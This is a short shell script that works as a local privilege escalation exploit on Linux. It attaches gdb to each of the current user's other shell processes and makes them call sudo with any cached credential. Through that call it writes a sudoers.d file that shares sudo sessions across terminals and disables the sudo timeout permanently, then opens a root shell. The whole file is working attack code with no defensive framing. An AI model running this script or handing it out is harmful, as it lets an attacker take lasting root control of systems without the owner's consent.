#!/bin/sh

# inject all shell belonging to the current user, our shell one :

# makes it so every terminal can sudo  
echo "Defaults !tty_tickets" > /tmp/payload
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /tmp/payload

for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$")
do
        echo "Injecting process $pid -> "$(cat "/proc/$pid/comm")
	echo 'call system("echo | sudo -S cp /tmp/payload /etc/sudoers.d/win 2>&1")' \
		| gdb -q -n -p "$pid" >/dev/null 2>&1
done
rm /tmp/payload
sudo -i 
